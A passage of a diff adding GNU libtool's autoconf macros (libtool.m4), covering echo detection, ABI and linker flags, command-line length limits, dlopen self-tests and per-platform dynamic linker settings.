programs unquote + # backslashes. This makes it impossible to quote backslashes using + # echo "$something" | sed 's/\\/\\\\/g' + # + # So, first we look for a working echo in the user's PATH. + + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for dir in $PATH /usr/ucb; do + IFS="$lt_save_ifs" + if (test -f $dir/echo || test -f $dir/echo$ac_exeext) && + test "X`($dir/echo '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`($dir/echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + echo="$dir/echo" + break + fi + done + IFS="$lt_save_ifs" + + if test "X$echo" = Xecho; then + # We didn't find a better echo, so look for alternatives. + if test "X`(print -r '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`(print -r "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + # This shell has a builtin print -r that does the trick. + echo='print -r' + elif (test -f /bin/ksh || test -f /bin/ksh$ac_exeext) && + test "X$CONFIG_SHELL" != X/bin/ksh; then + # If we have ksh, try running configure again with it. + ORIGINAL_CONFIG_SHELL=${CONFIG_SHELL-/bin/sh} + export ORIGINAL_CONFIG_SHELL + CONFIG_SHELL=/bin/ksh + export CONFIG_SHELL + exec $CONFIG_SHELL "[$]0" --no-reexec ${1+"[$]@"} + else + # Try using printf. + echo='printf %s\n' + if test "X`($echo '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`($echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + # Cool, printf works + : + elif echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` && + test "X$echo_testing_string" = 'X\t' && + echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + CONFIG_SHELL=$ORIGINAL_CONFIG_SHELL + export CONFIG_SHELL + SHELL="$CONFIG_SHELL" + export SHELL + echo="$CONFIG_SHELL [$]0 --fallback-echo" + elif echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` && + test "X$echo_testing_string" = 'X\t' && + echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + echo="$CONFIG_SHELL [$]0 --fallback-echo" + else + # maybe with a smaller string... + prev=: + + for cmd in 'echo test' 'sed 2q "[$]0"' 'sed 10q "[$]0"' 'sed 20q "[$]0"' 'sed 50q "[$]0"'; do + if (test "X$echo_test_string" = "X`eval $cmd`") 2>/dev/null + then + break + fi + prev="$cmd" + done + + if test "$prev" != 'sed 50q "[$]0"'; then + echo_test_string=`eval $prev` + export echo_test_string + exec ${ORIGINAL_CONFIG_SHELL-${CONFIG_SHELL-/bin/sh}} "[$]0" ${1+"[$]@"} + else + # Oops. We lost completely, so just stick with echo. + echo=echo + fi + fi + fi + fi +fi +fi + +# Copy echo and quote the copy suitably for passing to libtool from +# the Makefile, instead of quoting the original, which is used later. +ECHO=$echo +if test "X$ECHO" = "X$CONFIG_SHELL [$]0 --fallback-echo"; then + ECHO="$CONFIG_SHELL \\\$\[$]0 --fallback-echo" +fi + +AC_SUBST(ECHO) +])])# _LT_AC_PROG_ECHO_BACKSLASH + + +# _LT_AC_LOCK +# ----------- +AC_DEFUN([_LT_AC_LOCK], +[AC_ARG_ENABLE([libtool-lock], + [AC_HELP_STRING([--disable-libtool-lock], + [avoid locking (might break parallel builds)])]) +test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes + +# Some flags need to be propagated to the compiler or linker for good +# libtool support. +case $host in +ia64-*-hpux*) + # Find out which ABI we are using. + echo 'int i;' > conftest.$ac_ext + if AC_TRY_EVAL(ac_compile); then + case `/usr/bin/file conftest.$ac_objext` in + *ELF-32*) + HPUX_IA64_MODE="32" + ;; + *ELF-64*) + HPUX_IA64_MODE="64" + ;; + esac + fi + rm -rf conftest* + ;; +*-*-irix6*) + # Find out which ABI we are using. + echo '[#]line __oline__ "configure"' > conftest.$ac_ext + if AC_TRY_EVAL(ac_compile); then + if test "$lt_cv_prog_gnu_ld" = yes; then + case `/usr/bin/file conftest.$ac_objext` in + *32-bit*) + LD="${LD-ld} -melf32bsmip" + ;; + *N32*) + LD="${LD-ld} -melf32bmipn32" + ;; + *64-bit*) + LD="${LD-ld} -melf64bmip" + ;; + esac + else + case `/usr/bin/file conftest.$ac_objext` in + *32-bit*) + LD="${LD-ld} -32" + ;; + *N32*) + LD="${LD-ld} -n32" + ;; + *64-bit*) + LD="${LD-ld} -64" + ;; + esac + fi + fi + rm -rf conftest* + ;; + +x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*|s390*-*linux*|sparc*-*linux*) + # Find out which ABI we are using. + echo 'int i;' > conftest.$ac_ext + if AC_TRY_EVAL(ac_compile); then + case "`/usr/bin/file conftest.o`" in + *32-bit*) + case $host in + x86_64-*linux*) + LD="${LD-ld} -m elf_i386" + ;; + ppc64-*linux*|powerpc64-*linux*) + LD="${LD-ld} -m elf32ppclinux" + ;; + s390x-*linux*) + LD="${LD-ld} -m elf_s390" + ;; + sparc64-*linux*) + LD="${LD-ld} -m elf32_sparc" + ;; + esac + ;; + *64-bit*) + case $host in + x86_64-*linux*) + LD="${LD-ld} -m elf_x86_64" + ;; + ppc*-*linux*|powerpc*-*linux*) + LD="${LD-ld} -m elf64ppc" + ;; + s390*-*linux*) + LD="${LD-ld} -m elf64_s390" + ;; + sparc*-*linux*) + LD="${LD-ld} -m elf64_sparc" + ;; + esac + ;; + esac + fi + rm -rf conftest* + ;; + +*-*-sco3.2v5*) + # On SCO OpenServer 5, we need -belf to get full-featured binaries. + SAVE_CFLAGS="$CFLAGS" + CFLAGS="$CFLAGS -belf" + AC_CACHE_CHECK([whether the C compiler needs -belf], lt_cv_cc_needs_belf, + [AC_LANG_PUSH(C) + AC_TRY_LINK([],[],[lt_cv_cc_needs_belf=yes],[lt_cv_cc_needs_belf=no]) + AC_LANG_POP]) + if test x"$lt_cv_cc_needs_belf" != x"yes"; then + # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf + CFLAGS="$SAVE_CFLAGS" + fi + ;; +AC_PROVIDE_IFELSE([AC_LIBTOOL_WIN32_DLL], +[*-*-cygwin* | *-*-mingw* | *-*-pw32*) + AC_CHECK_TOOL(DLLTOOL, dlltool, false) + AC_CHECK_TOOL(AS, as, false) + AC_CHECK_TOOL(OBJDUMP, objdump, false) + ;; + ]) +esac + +need_locks="$enable_libtool_lock" + +])# _LT_AC_LOCK + + +# AC_LIBTOOL_COMPILER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS, +# [OUTPUT-FILE], [ACTION-SUCCESS], [ACTION-FAILURE]) +# ---------------------------------------------------------------- +# Check whether the given compiler option works +AC_DEFUN([AC_LIBTOOL_COMPILER_OPTION], +[AC_REQUIRE([LT_AC_PROG_SED]) +AC_CACHE_CHECK([$1], [$2], + [$2=no + ifelse([$4], , [ac_outfile=conftest.$ac_objext], [ac_outfile=$4]) + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="$3" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&AS_MESSAGE_LOG_FD + echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s conftest.err; then + $2=yes + fi + fi + $rm conftest* +]) + +if test x"[$]$2" = xyes; then + ifelse([$5], , :, [$5]) +else + ifelse([$6], , :, [$6]) +fi +])# AC_LIBTOOL_COMPILER_OPTION + + +# AC_LIBTOOL_LINKER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS, +# [ACTION-SUCCESS], [ACTION-FAILURE]) +# ------------------------------------------------------------ +# Check whether the given compiler option works +AC_DEFUN([AC_LIBTOOL_LINKER_OPTION], +[AC_CACHE_CHECK([$1], [$2], + [$2=no + save_LDFLAGS="$LDFLAGS" + LDFLAGS="$LDFLAGS $3" + printf "$lt_simple_link_test_code" > conftest.$ac_ext + if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test -s conftest.err; then + # Append any errors to the config.log. + cat conftest.err 1>&AS_MESSAGE_LOG_FD + else + $2=yes + fi + fi + $rm conftest* + LDFLAGS="$save_LDFLAGS" +]) + +if test x"[$]$2" = xyes; then + ifelse([$4], , :, [$4]) +else + ifelse([$5], , :, [$5]) +fi +])# AC_LIBTOOL_LINKER_OPTION + + +# AC_LIBTOOL_SYS_MAX_CMD_LEN +# -------------------------- +AC_DEFUN([AC_LIBTOOL_SYS_MAX_CMD_LEN], +[# find the maximum length of command line arguments +AC_MSG_CHECKING([the maximum length of command line arguments]) +AC_CACHE_VAL([lt_cv_sys_max_cmd_len], [dnl + i=0 + teststring="ABCD" + + case $build_os in + msdosdjgpp*) + # On DJGPP, this test can blow up pretty badly due to problems in libc + # (any single argument exceeding 2000 bytes causes a buffer overrun + # during glob expansion). Even if it were fixed, the result of this + # check would be larger than it should be. + lt_cv_sys_max_cmd_len=12288; # 12K is about right + ;; + + gnu*) + # Under GNU Hurd, this test is not required because there is + # no limit to the length of command line arguments. + # Libtool will interpret -1 as no limit whatsoever + lt_cv_sys_max_cmd_len=-1; + ;; + + cygwin* | mingw*) + # On Win9x/ME, this test blows up -- it succeeds, but takes + # about 5 minutes as the teststring grows exponentially. + # Worse, since 9x/ME are not pre-emptively multitasking, + # you end up with a "frozen" computer, even though with patience + # the test eventually succeeds (with a max line length of 256k). + # Instead, let's just punt: use the minimum linelength reported by + # all of the supported platforms: 8192 (on NT/2K/XP). + lt_cv_sys_max_cmd_len=8192; + ;; + + amigaos*) + # On AmigaOS with pdksh, this test takes hours, literally. + # So we just punt and use a minimum line length of 8192. + lt_cv_sys_max_cmd_len=8192; + ;; + + netbsd* | freebsd* | openbsd* | darwin* ) + # This has been around since 386BSD, at least. Likely further. + if test -x /sbin/sysctl; then + lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax` + elif test -x /usr/sbin/sysctl; then + lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax` + else + lt_cv_sys_max_cmd_len=65536 # usable default for *BSD + fi + # And add a safety zone + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4` + ;; + + *) + # If test is not a shell built-in, we'll probably end up computing a + # maximum length that is only half of the actual maximum length, but + # we can't tell. + SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}} + while (test "X"`$SHELL [$]0 --fallback-echo "X$teststring" 2>/dev/null` \ + = "XX$teststring") >/dev/null 2>&1 && + new_result=`expr "X$teststring" : ".*" 2>&1` && + lt_cv_sys_max_cmd_len=$new_result && + test $i != 17 # 1/2 MB should be enough + do + i=`expr $i + 1` + teststring=$teststring$teststring + done + teststring= + # Add a significant safety factor because C++ compilers can tack on massive + # amounts of additional arguments before passing them to the linker. + # It appears as though 1/2 is a usable value. + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2` + ;; + esac +]) +if test -n $lt_cv_sys_max_cmd_len ; then + AC_MSG_RESULT($lt_cv_sys_max_cmd_len) +else + AC_MSG_RESULT(none) +fi +])# AC_LIBTOOL_SYS_MAX_CMD_LEN + + +# _LT_AC_CHECK_DLFCN +# -------------------- +AC_DEFUN([_LT_AC_CHECK_DLFCN], +[AC_CHECK_HEADERS(dlfcn.h)dnl +])# _LT_AC_CHECK_DLFCN + + +# _LT_AC_TRY_DLOPEN_SELF (ACTION-IF-TRUE, ACTION-IF-TRUE-W-USCORE, +# ACTION-IF-FALSE, ACTION-IF-CROSS-COMPILING) +# ------------------------------------------------------------------ +AC_DEFUN([_LT_AC_TRY_DLOPEN_SELF], +[AC_REQUIRE([_LT_AC_CHECK_DLFCN])dnl +if test "$cross_compiling" = yes; then : + [$4] +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext <<EOF +[#line __oline__ "configure" +#include "confdefs.h" + +#if HAVE_DLFCN_H +#include <dlfcn.h> +#endif + +#include <stdio.h> + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +#ifdef __cplusplus +extern "C" void exit (int); +#endif + +void fnord() { int i=42;} +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + /* dlclose (self); */ + } + + exit (status); +}] +EOF + if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext} 2>/dev/null; then + (./conftest; exit; ) 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) $1 ;; + x$lt_dlneed_uscore) $2 ;; + x$lt_unknown|x*) $3 ;; + esac + else : + # compilation failed + $3 + fi +fi +rm -fr conftest* +])# _LT_AC_TRY_DLOPEN_SELF + + +# AC_LIBTOOL_DLOPEN_SELF +# ------------------- +AC_DEFUN([AC_LIBTOOL_DLOPEN_SELF], +[AC_REQUIRE([_LT_AC_CHECK_DLFCN])dnl +if test "x$enable_dlopen" != xyes; then + enable_dlopen=unknown + enable_dlopen_self=unknown + enable_dlopen_self_static=unknown +else + lt_cv_dlopen=no + lt_cv_dlopen_libs= + + case $host_os in + beos*) + lt_cv_dlopen="load_add_on" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + ;; + + mingw* | pw32*) + lt_cv_dlopen="LoadLibrary" + lt_cv_dlopen_libs= + ;; + + cygwin*) + lt_cv_dlopen="dlopen" + lt_cv_dlopen_libs= + ;; + + darwin*) + # if libdl is installed we need to link against it + AC_CHECK_LIB([dl], [dlopen], + [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"],[ + lt_cv_dlopen="dyld" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + ]) + ;; + + *) + AC_CHECK_FUNC([shl_load], + [lt_cv_dlopen="shl_load"], + [AC_CHECK_LIB([dld], [shl_load], + [lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld"], + [AC_CHECK_FUNC([dlopen], + [lt_cv_dlopen="dlopen"], + [AC_CHECK_LIB([dl], [dlopen], + [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"], + [AC_CHECK_LIB([svld], [dlopen], + [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld"], + [AC_CHECK_LIB([dld], [dld_link], + [lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-dld"]) + ]) + ]) + ]) + ]) + ]) + ;; + esac + + if test "x$lt_cv_dlopen" != xno; then + enable_dlopen=yes + else + enable_dlopen=no + fi + + case $lt_cv_dlopen in + dlopen) + save_CPPFLAGS="$CPPFLAGS" + test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H" + + save_LDFLAGS="$LDFLAGS" + eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\" + + save_LIBS="$LIBS" + LIBS="$lt_cv_dlopen_libs $LIBS" + + AC_CACHE_CHECK([whether a program can dlopen itself], + lt_cv_dlopen_self, [dnl + _LT_AC_TRY_DLOPEN_SELF( + lt_cv_dlopen_self=yes, lt_cv_dlopen_self=yes, + lt_cv_dlopen_self=no, lt_cv_dlopen_self=cross) + ]) + + if test "x$lt_cv_dlopen_self" = xyes; then + LDFLAGS="$LDFLAGS $link_static_flag" + AC_CACHE_CHECK([whether a statically linked program can dlopen itself], + lt_cv_dlopen_self_static, [dnl + _LT_AC_TRY_DLOPEN_SELF( + lt_cv_dlopen_self_static=yes, lt_cv_dlopen_self_static=yes, + lt_cv_dlopen_self_static=no, lt_cv_dlopen_self_static=cross) + ]) + fi + + CPPFLAGS="$save_CPPFLAGS" + LDFLAGS="$save_LDFLAGS" + LIBS="$save_LIBS" + ;; + esac + + case $lt_cv_dlopen_self in + yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;; + *) enable_dlopen_self=unknown ;; + esac + + case $lt_cv_dlopen_self_static in + yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;; + *) enable_dlopen_self_static=unknown ;; + esac +fi +])# AC_LIBTOOL_DLOPEN_SELF + + +# AC_LIBTOOL_PROG_CC_C_O([TAGNAME]) +# --------------------------------- +# Check to see if options -c and -o are simultaneously supported by compiler +AC_DEFUN([AC_LIBTOOL_PROG_CC_C_O], +[AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl +AC_CACHE_CHECK([if $compiler supports -c -o file.$ac_objext], + [_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)], + [_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=no + $rm -r conftest 2>/dev/null + mkdir conftest + cd conftest + mkdir out + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + lt_compiler_flag="-o out/conftest2.$ac_objext" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD) + (eval "$lt_compile" 2>out/conftest.err) + ac_status=$? + cat out/conftest.err >&AS_MESSAGE_LOG_FD + echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD + if (exit $ac_status) && test -s out/conftest2.$ac_objext + then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s out/conftest.err; then + _LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes + fi + fi + chmod u+w . + $rm conftest* + # SGI C++ compiler will create directory out/ii_files/ for + # template instantiation + test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files + $rm out/* && rmdir out + cd .. + rmdir conftest + $rm conftest* +]) +])# AC_LIBTOOL_PROG_CC_C_O + + +# AC_LIBTOOL_SYS_HARD_LINK_LOCKS([TAGNAME]) +# ----------------------------------------- +# Check to see if we can do hard links to lock some files if needed +AC_DEFUN([AC_LIBTOOL_SYS_HARD_LINK_LOCKS], +[AC_REQUIRE([_LT_AC_LOCK])dnl + +hard_links="nottested" +if test "$_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)" = no && test "$need_locks" != no; then + # do not overwrite the value of need_locks provided by the user + AC_MSG_CHECKING([if we can lock with hard links]) + hard_links=yes + $rm conftest* + ln conftest.a conftest.b 2>/dev/null && hard_links=no + touch conftest.a + ln conftest.a conftest.b 2>&5 || hard_links=no + ln conftest.a conftest.b 2>/dev/null && hard_links=no + AC_MSG_RESULT([$hard_links]) + if test "$hard_links" = no; then + AC_MSG_WARN([`$CC' does not support `-c -o', so `make -j' may be unsafe]) + need_locks=warn + fi +else + need_locks=no +fi +])# AC_LIBTOOL_SYS_HARD_LINK_LOCKS + + +# AC_LIBTOOL_OBJDIR +# ----------------- +AC_DEFUN([AC_LIBTOOL_OBJDIR], +[AC_CACHE_CHECK([for objdir], [lt_cv_objdir], +[rm -f .libs 2>/dev/null +mkdir .libs 2>/dev/null +if test -d .libs; then + lt_cv_objdir=.libs +else + # MS-DOS does not allow filenames that begin with a dot. + lt_cv_objdir=_libs +fi +rmdir .libs 2>/dev/null]) +objdir=$lt_cv_objdir +])# AC_LIBTOOL_OBJDIR + + +# AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH([TAGNAME]) +# ---------------------------------------------- +# Check hardcoding attributes. +AC_DEFUN([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH], +[AC_MSG_CHECKING([how to hardcode library paths into programs]) +_LT_AC_TAGVAR(hardcode_action, $1)= +if test -n "$_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)" || \ + test -n "$_LT_AC_TAGVAR(runpath_var, $1)" || \ + test "X$_LT_AC_TAGVAR(hardcode_automatic, $1)" = "Xyes" ; then + + # We can hardcode non-existant directories. + if test "$_LT_AC_TAGVAR(hardcode_direct, $1)" != no && + # If the only mechanism to avoid hardcoding is shlibpath_var, we + # have to relink, otherwise we might link with an installed library + # when we should be linking with a yet-to-be-installed one + ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, $1)" != no && + test "$_LT_AC_TAGVAR(hardcode_minus_L, $1)" != no; then + # Linking always hardcodes the temporary library directory. + _LT_AC_TAGVAR(hardcode_action, $1)=relink + else + # We can link without hardcoding, and we can hardcode nonexisting dirs. + _LT_AC_TAGVAR(hardcode_action, $1)=immediate + fi +else + # We cannot hardcode anything, or else we can only hardcode existing + # directories. + _LT_AC_TAGVAR(hardcode_action, $1)=unsupported +fi +AC_MSG_RESULT([$_LT_AC_TAGVAR(hardcode_action, $1)]) + +if test "$_LT_AC_TAGVAR(hardcode_action, $1)" = relink; then + # Fast installation is not supported + enable_fast_install=no +elif test "$shlibpath_overrides_runpath" = yes || + test "$enable_shared" = no; then + # Fast installation is not necessary + enable_fast_install=needless +fi +])# AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH + + +# AC_LIBTOOL_SYS_LIB_STRIP +# ------------------------ +AC_DEFUN([AC_LIBTOOL_SYS_LIB_STRIP], +[striplib= +old_striplib= +AC_MSG_CHECKING([whether stripping libraries is possible]) +if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then + test -z "$old_striplib" && old_striplib="$STRIP --strip-debug" + test -z "$striplib" && striplib="$STRIP --strip-unneeded" + AC_MSG_RESULT([yes]) +else +# FIXME - insert some real tests, host_os isn't really good enough + case $host_os in + darwin*) + if test -n "$STRIP" ; then + striplib="$STRIP -x" + AC_MSG_RESULT([yes]) + else + AC_MSG_RESULT([no]) +fi + ;; + *) + AC_MSG_RESULT([no]) + ;; + esac +fi +])# AC_LIBTOOL_SYS_LIB_STRIP + + +# AC_LIBTOOL_SYS_DYNAMIC_LINKER +# ----------------------------- +# PORTME Fill in your ld.so characteristics +AC_DEFUN([AC_LIBTOOL_SYS_DYNAMIC_LINKER], +[AC_MSG_CHECKING([dynamic linker characteristics]) +library_names_spec= +libname_spec='lib$name' +soname_spec= +shrext_cmds=".so" +postinstall_cmds= +postuninstall_cmds= +finish_cmds= +finish_eval= +shlibpath_var= +shlibpath_overrides_runpath=unknown +version_type=none +dynamic_linker="$host_os ld.so" +sys_lib_dlsearch_path_spec="/lib /usr/lib" +if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then + # if the path contains ";" then we assume it to be the separator + # otherwise default to the standard path separator (i.e. ":") - it is + # assumed that no part of a normal pathname contains ";" but that should + # okay in the real world where ";" in dirpaths is itself problematic. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi +else + sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" +fi +need_lib_prefix=unknown +hardcode_into_libs=no + +# when you set need_version to no, make sure it does not cause -set_version +# flags to be left without arguments +need_version=unknown + +case $host_os in +aix3*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a' + shlibpath_var=LIBPATH + + # AIX 3 has no versioning support, so we append a major version to the name. + soname_spec='${libname}${release}${shared_ext}$major' + ;; + +aix4* | aix5*) + version_type=linux + need_lib_prefix=no + need_version=no + hardcode_into_libs=yes + if test "$host_cpu" = ia64; then + # AIX 5 supports IA64 + library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + else + # With GCC up to 2.95.x, collect2 would create an import file + # for dependence libraries. The import file would start with + # the line `#! .'. This would cause the generated library to + # depend on `.', always an invalid library. This was fixed in + # development snapshots of GCC prior to 3.0. + case $host_os in + aix4 | aix4.[[01]] | aix4.[[01]].*) + if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)' + echo ' yes ' + echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then + : + else + can_build_shared=no + fi + ;; + esac + # AIX (on Power*) has no versioning support, so currently we can not hardcode correct + # soname into executable. Probably we can add versioning support to + # collect2, so additional links can be useful in future. + if test "$aix_use_runtimelinking" = yes; then + # If using run time linking (on AIX 4.2 or later) use lib<name>.so + # instead of lib<name>.a to let people know that these are not + # typical AIX shared libraries. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + else + # We preserve .a as extension for shared libraries through AIX4.2 + # and later when we are not doing run time linking. + library_names_spec='${libname}${release}.a $libname.a' + soname_spec='${libname}${release}${shared_ext}$major' + fi + shlibpath_var=LIBPATH + fi + ;; + +amigaos*) + library_names_spec='$libname.ixlibrary $libname.a' + # Create ${libname}_ixlibrary.a entries in /sys/libs. + finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([[^/]]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done' + ;; + +beos*) + library_names_spec='${libname}${shared_ext}' + dynamic_linker="$host_os ld.so" + shlibpath_var=LIBRARY_PATH + ;; + +bsdi[[45]]*) + version_type=linux + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib" + sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib" + # the default ld.so.conf also contains /usr/contrib/lib and + # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow + # libtool to hard-code these into programs + ;; + +cygwin* | mingw* | pw32*) + version_type=windows + shrext_cmds=".dll" + need_version=no + need_lib_prefix=no + + case $GCC,$host_os in + yes,cygwin* | yes,mingw* | yes,pw32*) + library_names_spec='$libname.dll.a' + # DLL is installed to $(libdir)/../bin by postinstall_cmds + postinstall_cmds='base_file=`basename \${file}`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $rm \$dlpath' + shlibpath_overrides_runpath=yes + + case $host_os in + cygwin*) + # Cygwin DLLs use 'cyg' prefix rather than 'lib' + soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib" + ;; + mingw*) + # MinGW DLLs use traditional 'lib' prefix + soname_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | [grep ';[c-zC-Z]:/' >/dev/null]; then + # It is most probably a Windows format PATH printed by + # mingw gcc, but we are running on Cygwin. Gcc prints its search + # path with ; separators, and with drive letters. We can handle the + # drive letters (cygwin fileutils understands them), so leave them, + # especially as we might pass files found there to a mingw objdump, + # which wouldn't understand a cygwinified path. Ahh. + 